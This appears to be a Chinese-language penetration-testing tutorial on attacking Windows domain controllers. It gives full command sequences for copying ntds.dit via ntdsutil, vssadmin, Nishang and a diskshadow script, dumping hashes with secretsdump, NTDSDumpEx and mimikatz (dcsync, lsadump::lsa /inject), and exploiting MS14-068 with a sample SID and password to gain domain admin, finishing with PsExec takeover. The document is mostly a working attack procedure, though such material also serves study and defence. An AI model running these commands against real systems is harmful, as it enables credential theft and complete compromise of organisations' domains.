第六章:域控制器安全
文章目录
利用ntds.dit读取域内哈希
提取ntds.dit
主要分为以下几种方式提取:
- 在域控上使用ntdsutil的IFM提取,支持win2k03、win2k08和win2k12;
- 在域控上使用vssadmin提取,支持win2k08和win7;
- 使用Nishang的Copy-VSS.ps提取,支持SAM、SYSTEM和ntds.dit文件的一起提取;
- 使用diskshadow提取,需要上传到目标机器才能使用,支持win2k08、win2012、win2k16;
Notice: 以下操作均是在powershell中进行,cmd下会失败;
使用ntdsutil提取
直接在域控机器上运行如下命令进行ntds.dit导出到C:\tmp下:
ntdsutil "ac i ntds" "ifm" "create full c:/tmp" q q
如下图所示:
使用vssadmin提取
在域控中,首先输入如下命令,创建C盘的卷影拷贝:
vssadmin create shadow /for=C:
如下图所示:
然后在创建的卷影拷贝中将ntds.dit文件复制出来,输入如下命令:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\NTDS\ntds.dit C:\ntds.dit
如下图所示:
最后需要删除快照,输入如下命令:
vssadmin delete shadows /for=C: /quiet
使用Nishang提取
下载Copy-VSS.ps1脚本后,先将此ps1脚本上传到域控,然后执行如下命令:
import-module C:\Copy-VSS.ps1;Copy-VSS
如下所示:
使用diskshadow提取
- diskshadow是微软签名的,有交互式和非交互式两种模式,使用交互式需要登录RDP;
- 可以通过使用exec来执行一个脚本文件来执行相关命令;
- 在使用diskshadow导出ntds.dit文件时,必须将工作目录切换到C:\WIndows\system32\,否则会发生错误;
首先在域控中创建一个脚本文件cmd.txt,功能是创建ntds.dit的卷影拷贝,如下所示:
//可能需要去掉注释,防止执行脚本失败
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\target-ndts.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
然后切换工作目录到C:\Windows\system32\下,并执行如下命令:
//同样,需要powershell执行
powershell diskshadow /s c:\cmd.txt
如下图所示:
发现成功导出ntds.dit到C:\target-ndts.dit,如下所示:
读取ntds.dit
提取完毕ntds.dit后,就是读取解析它了,但是,单单导出ntds.dit文件是没用的,还需要转储system文件,因为此文件存放了ntds.dit的密钥,前面导出ntds.dit文件时,如果没有导出SYSTEM,那么可以输入如下命令转储:
reg save hklm\system C:\SYSTEM
这里主要采用两种方式读取ntds.dit文件,如下所示:
- impacket工具包进行读取;
- NTDSDumpex.exe进行读取;
impacket读取
安装好环境后,将ntds.dit和SYSTEM文件放在本地,输入如下命令进行读取:
python3 secretsdump.py -system E:\SYSTEM -ntds E:\ntds.dit LOCAL
结果如下所示:
NTDSDumpex读取
下载地址为:NTDSDumpex下载,此工具速度很快,如果ntds.dit文件很大,建议内网使用此工具进行解析,使用此工具如果失败,需要先修复ntds.dit数据库:
esentutl.exe /p /o D:\ntds.dit
然后一把梭哈:
NTDSDumpEx.exe -d D:\ntds.dit -s D:\SYSTEM -o D:\hash.txt
结果如下所示:
利用dcsync读取域内哈希
- 使用mimikatz的dcsync功能,需要域管理员权限运行mimikatz才能读取域控ntds.dit;
- 使用Invoke-DCSync.ps1获取;
使用mimikatz的dcsync
在CS中,直接输入 dcsync pinger.testlab
,即可调用mimikatz的dcsync进行哈希导出,如下所示:
也可以在域控中运行mimikatz,转储lsass.exe进程,从内存中读取哈希,输入如下命令:
mimikatz lsadump::lsa /inject
结果如下所示:
MS14_068
此漏洞产生的原因是:用户在想Kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭据)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管权限,二KDC在处理票据时未进行签名验证,那么返回给用户的TGT就会使得普通域用户拥有域管权限,从而一举拿下域控;本实验中MS14-068.exe的下载地址为:ms14-068
- 影响范围:win2k3、win2k8、win2k8R2、win2012、win2012R2;
- 作用:将域内任意用户提升到域管权限;
- 要求:需要域用户名、SID、密码(没有密码,也可以通过NTLM Hash登录);
- 可以通过
wimic useraccount get name,sid,caption
命令域内用户的SID;
使用MS14-068的工具,在非域控主机上运行如下命令:
shell MS14-068.exe -u p1n93r@god.org -s S-1-5-21-2952760202-1353902439-2381784089-1111 -d 192.168.52.138 -p 123456789_CG
如下图所示:
再未导入这个票据之前,查看域控的C盘,发现提示没权限(注意:一定要使用计算机名,不能用IP):
然后用mimikatz导入票据,如下所示:
再次查看域控的C盘,发现能成功查看:
然后直接使用Psexec直接拿下域控,这里演示使用CS的操作,如下所示:
文章作者 P1n93r
上次更新 2021-05-23